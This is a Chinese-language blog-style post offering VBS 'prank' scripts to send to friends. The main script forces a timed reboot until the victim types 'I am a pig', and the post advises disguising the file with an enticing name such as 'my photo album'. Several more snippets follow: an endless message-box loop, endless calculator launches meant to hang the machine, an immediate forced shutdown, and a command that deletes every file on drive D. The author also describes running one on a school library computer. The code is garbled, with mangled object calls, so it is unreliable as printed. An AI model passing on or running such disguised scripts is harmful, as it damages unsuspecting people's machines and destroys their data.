如何惡搞朋友的電腦？超簡單的vbs程式碼

今天給大家帶來一個整人的VBS指令碼，對方不說“我是豬”就定時關機的惡搞指令碼，如果把他發給你的QQ好友 他不懂的話如果不輸“我是豬“” 電腦就會在你設定的時間內關機。我在以下程式碼內設定的是3分鐘。

“我是豬”惡搞示範

（01）新建文字文件，複製程式碼。

（02）程式碼如下：on error resume nextdim WSHshellAset WSHshellA = teobject("l") " /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，你試試···"" ",0 ,truedim ado while(a <> "我是豬")a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""　","說不說","不說",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，豬"dim WSHshellset WSHshell = teobject("l") " /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

（03）儲存記事本文件，把txt檔案的字尾名txt改成vbs。可以把名字寫成如“我的相簿”吸引人的字眼。

（04）雙擊執行，檢視效果。

（05）如果不說“我是豬”或者輸入其他字的話，就會重複視窗，直到說“我是豬”為止。繼而彈出以下視窗：

（06）如果不小心自己點開了，有兩種解決方法：一是的輸入“我是豬”進行解除；二是按Windows+R鍵開啟執行輸入shutdown -a來解除關機命令（注意此時不要點選正在執行的彈窗的任何按鈕），接著開啟工作管理員找到wscript並結束程序就OK 啦。

vbs整人程式碼集合

（01）我就用這個程式放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop

（02）開啟無數個計算器，直到宕機 ------------------------------------------------------------------------------ set wsh=createobject("l") do "calc" loop

（03）直接關機 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "shutdown -f -s -t 00",0 ,true

（04）刪除D:所有檔案 --------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "cmd /c ""del d:*.* / f /q /s""",0 ,true

（05）按500次回車 (以上程式碼在執行者的電腦上顯示500個對話方塊。其中 do until s=500 ，500可以隨意更改) dim s do until s=500 s=s+1 msgbox "哥們，給我按500次回車吧",64 loop

（06）不斷按下alt+f4 （開什麼都關閉……） dim WSHshell set WSHshell = teobject("l") while(1) Keys "%{F4}" loop